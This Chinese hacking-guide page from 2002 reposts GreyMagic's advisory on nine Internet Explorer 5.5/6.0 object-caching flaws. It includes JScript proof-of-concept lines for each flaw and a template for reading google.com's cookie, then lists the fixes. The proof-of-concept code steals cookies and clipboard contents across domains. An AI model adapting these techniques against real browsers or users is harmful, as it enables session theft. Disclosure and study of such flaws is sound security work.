※黑客攻防指南※===>系统漏洞==>IE浏览器被发现存在9处严重的安全漏洞
IE浏览器被发现存在9处严重的安全漏洞

涉及程序:
IE浏览器

描述:
IE浏览器被发现存在9处严重的安全漏洞

详细:

以色列一家名为 GreyMagic Software 的网络应用公司日前称他们在IE浏览器的一些 object caching 时发现9处严重的安全漏洞,攻击者可以利用这些漏洞获得对目标用户计算机系统的控制权限。

攻击者是通过精心构建一个恶意的网页,一旦IE用户登录这一页面,攻击者就会利用这9处漏洞进行攻击。一旦攻击成功,除了可以非法窃取用户文件,对用户的剪切板进行复制外,还可以受害者系统上执行任意指令。

虽然引起这9个安全漏洞的都属于同类对象,但是它们中的每一个都是一个单独的漏洞,都可以单独用来进行恶意地攻击。这9个安全漏洞列于下表。其中每个安全漏洞的介绍包括三部分,"Cache"表示如何利用有缺陷的对象,"Exploit"表示在context中如何验证此缺陷,"Impact"表示此缺陷的安全威胁("Full access"表示可以获得目标系统的完全控制权限,包括非法访问受害者的任意文件,伪造任意URL,非法执行任意指令)。

1. showModalDialog

Cache: var fVuln=oWin.showModalDialog;
Exploit - IE 5.5:
fVuln("javascript:alert(dialogArguments.document.cookie)",oWin,"");
Exploit - IE 6: Not trivial but possible, by using our old "analyze.dlg"
vulnerability.
Impact: Full access in IE5.5, "My Computer" zone access in IE6.


2. external

Cache: var oVuln=oWin.external;
Exploit: oVuln.NavigateAndFind("javascript:alert(document.cookie)","","");
Impact: Full access.


3. createRange

Cache: var fVuln=oWin.document.selection.createRange;
Exploit: fVuln().pasteHTML("<img
src=\"javascript:alert(document.cookie)\">");
Impact: Full access.


4. elementFromPoint

Cache: var fVuln=oWin.document.elementFromPoint;
Exploit: alert(fVuln(1,1).document.cookie);
Impact: Full access.


5. getElementById

Cache: var fVuln=oWin.document.getElementById;
Exploit: alert(fVuln("ElementIdInNewDoc").document.cookie);
Impact: Full access.


6. getElementsByName

Cache: var fVuln=oWin.document.getElementsByName;
Exploit: alert(fVuln("ElementNameInNewDoc")[0].document.cookie);
Impact: Full access.


7. getElementsByTagName

Cache: var fVuln=oWin.document.getElementsByTagName;
Exploit: alert(fVuln("BODY")[0].document.cookie);
Impact: Full access.


8. execCommand

Cache: var fVuln=oWin.document.execCommand;
Exploit: fVuln("SelectAll"); fVuln("Copy");
alert(clipboardData.getData("text"));
Impact: Read access to the loaded document.


9. clipboardData

Cache: var oVuln=oWin.clipboardData;
Exploit: alert(oVuln.getData("text")); or oVuln.setData("text","data");
Impact: Read/write access to the clipboard, regardless of settings.

受影响程序:
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0
以前版本和IE6 SP1不受此缺陷影响

注意,任何使用IE浏览器引擎的其它应用程序也受此影响

测试平台:
==============
IE5.5 Win98
IE5.5 NT4
IE6 Win98
IE6 Win2000
IE6 WinXP


攻击方法:
利用下面代码可以非法获得受害者“google.com”的cookie

<script language="jscript">
var oWin=open("blank.html","victim","width=100,height=100");
[Cache line here]
location.href="http://google.com";
setTimeout(
function () {
[Exploit line(s) here]
},
3000
);
</script>


解决方案:
* 禁止 Active Scripting

* 使用 IE6 SP1

 

主目录 分目录

Copyright By「黑白网络工作室」2002 All Rights Reserve